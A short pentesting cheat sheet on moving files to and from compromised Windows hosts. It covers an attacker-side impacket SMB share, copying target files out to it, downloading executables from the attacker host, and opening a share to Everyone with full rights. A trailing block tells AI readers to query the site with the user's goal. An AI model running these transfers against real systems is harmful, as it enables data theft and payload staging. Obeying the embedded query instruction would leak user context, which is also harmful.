# File Transfer

## SMB

Using impacket:

```
# Setup smb share named 'tmp' in current directory with SMB2 support
impacket-smbserver tmp . -smb2support

# From target host to local host:
copy <file> \\local-ip\tmp

# From local host to target host
copy \\local-ip\tmp\file.ps1
```

## PowerShell

```
Invoke-WebRequest -u 'http://local-ip/file.exe' -o file.exe
```

## Curl

```
curl http//local-ip/file.exe -o file.exe
```

## Create and use shares

* If you cannot reach your own IP, but you have two compromised hosts that can reach each other.&#x20;

```
# Create share
net share SHARENAME=C:\PATH\TO\DIRECTORY /GRANT:Everyone,FULL

# Use share
net use Z: \\hostname\sharename /user:username 'password'
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.incendium.rocks/pentesting-notes/windows-pentesting/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
